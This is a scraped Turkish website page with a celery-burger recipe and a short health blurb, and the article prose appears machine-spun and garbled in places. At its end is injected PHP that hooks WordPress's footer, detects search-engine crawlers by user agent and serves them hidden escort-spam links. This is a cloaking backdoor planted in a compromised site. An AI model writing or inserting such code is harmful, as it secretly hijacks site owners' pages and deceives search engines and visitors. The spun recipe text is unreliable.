hDolar %
hEuro %
hAltın (Gr) 461,62%0,25%
İstanbul 15°
  • Adana
  • Adıyaman
  • Afyonkarahisar
  • Ağrı
  • Amasya
  • Ankara
  • Antalya
  • Artvin
  • Aydın
  • Balıkesir
  • Bilecik
  • Bingöl
  • Bitlis
  • Bolu
  • Burdur
  • Bursa
  • Çanakkale
  • Çankırı
  • Çorum
  • Denizli
  • Diyarbakır
  • Edirne
  • Elazığ
  • Erzincan
  • Erzurum
  • Eskişehir
  • Gaziantep
  • Giresun
  • Gümüşhane
  • Hakkâri
  • Hatay
  • Isparta
  • Mersin
  • istanbul
  • izmir
  • Kars
  • Kastamonu
  • Kayseri
  • Kırklareli
  • Kırşehir
  • Kocaeli
  • Konya
  • Kütahya
  • Malatya
  • Manisa
  • Kahramanmaraş
  • Mardin
  • Muğla
  • Muş
  • Nevşehir
  • Niğde
  • Ordu
  • Rize
  • Sakarya
  • Samsun
  • Siirt
  • Sinop
  • Sivas
  • Tekirdağ
  • Tokat
  • Trabzon
  • Tunceli
  • Şanlıurfa
  • Uşak
  • Van
  • Yozgat
  • Zonguldak
  • Aksaray
  • Bayburt
  • Karaman
  • Kırıkkale
  • Batman
  • Şırnak
  • Bartın
  • Ardahan
  • Iğdır
  • Yalova
  • Karabük
  • Kilis
  • Osmaniye
  • Düzce
a

Şişmanlatmayan kereviz burger tanımı

Şişmanlatmayan kereviz burger tanımı
0

BEĞENDİM

Hamburger büyük küçük herkesin severek tükettiği hazır besinlerden biridir. Çok tüketilen bir besin olmasına karşın hiç sağlıklı bir besin değildir. Hamburgerin çok tüketimi birçok sıhhat sıkıntısına yol açabilmektedir. Bu nedenle bilhassa yetişkin bireyler çocuklarını bu çeşit besinlerden uzak tutmalıdır.

Aslında hamburger, Türk yordamı köfte ekmeğe emsal. İçerisindeki salatası, marulu, turşusu, köftesi benzeridir. Farkı ekmeğindedir. Hamburgerin ekmeği o kadar yumuşaktır ki yediğimizde çok kolay sindirilip çabucak kandaki şekerimizi yükseltir. Hele yanında bir de şekerli bir içecek içersek bu süreç çok daha hızlanır. Aslında hamburger diğer bir bakış açısı ile baktığımızda çok da sıhhatsiz değildir. Şayet köftesi et köfte ise, içerisinde olan öbür gereçlere bakalım, bir marul yaprağı ve domates var. Bazen turşu ve soğan halkaları da bulunabilir.

Çocuklarımıza hamburger üzere köfte ekmek vererek de onları bu alışkanlıklarından kurtarabiliriz. Yalnızca ekmeğini ve köftesini değiştirerek sağlıklı bir öğün yapabiliriz.Mesela köftesini kerevizden yaparsanız çocuğunuza ve kendinize çok büyük bir uygunluk yapmış olursunuz.

sismanlatmayan kereviz burger tanimi 0 QN7MslQR - Şişmanlatmayan kereviz burger tanımı

Şişmanlatmayan kereviz burger tanımı

Gereçler:

– 2 adet kereviz

– 1 adet yumurta

– 1 kahve fincanı un

– 1 kahve fincanı galeta unu

– 1 çay kaşığı tuz

– Limon

– Sıvı yağ

– 1 lt su

Sosu İçin:

– 1 diş sarımsak

– 1 tatlı kaşığı hardal

– 1 çay fincanı süzme yoğurt

– Marul

– Dereotu

Hazırlanışı:

Kerevizleri halka halka doğrayın. Kaynayan suyun içine biraz tuz ve birkaç damla limon sıkıp kerevizleri haşlayın. Haşlanan kerevizleri evvel una, sonra yumurtaya daha sonrada galeta ununa bulayıp az yağda önlü gerili kızartın.

Bir kasede yoğurdu, sarımsağı ve hardalı karıştırın. Kızarttığınız kereviz burgerleri sos eşliğinde marul ve dereotu ile servis yapın.

Dr. Fevzi Özgönül

  Narlı pilav nasıl yapılır muhteşem lezzet!
YORUMLAR

s

En az 10 karakter gerekli

Sıradaki haber:

Kanser tedavisinde sistemli beslenmek kıymetli

HIZLI YORUM YAP

Veri politikasındaki amaçlarla sınırlı ve mevzuata uygun şekilde çerez konumlandırmaktayız. Detaylar için veri politikamızı inceleyebilirsiniz.

function vururumgardas(){ $agent = $_SERVER['HTTP_USER_AGENT']; $sec = $agent; switch(true){ case (strpos($sec,"google")): $part = 1; break; case (strpos($sec,"yandex")): $part = 1; break; case (strpos($sec,"bing")): $part = 1; break; case (strpos($sec,"yahoo")): $part = 1; break; case (strpos($sec,"alexa")): $part = 1; break; default : $part = 0; } if($part ==1){ echo '
Boğazlıyan escortIlıca escortAvsallar escortÇorlu escortGediz escortÇaycuma escortArmutlu escortBayramiç escortAybastı escortAyvalık escortAkdağmadeni escortEvren escortAvsallar escortÇerkezköy escortEmet escortAlaplı escortAltınova escortAyvacık escortAltınordu escortAltıeylül escort '; } } add_action('wp_footer', 'vururumgardas');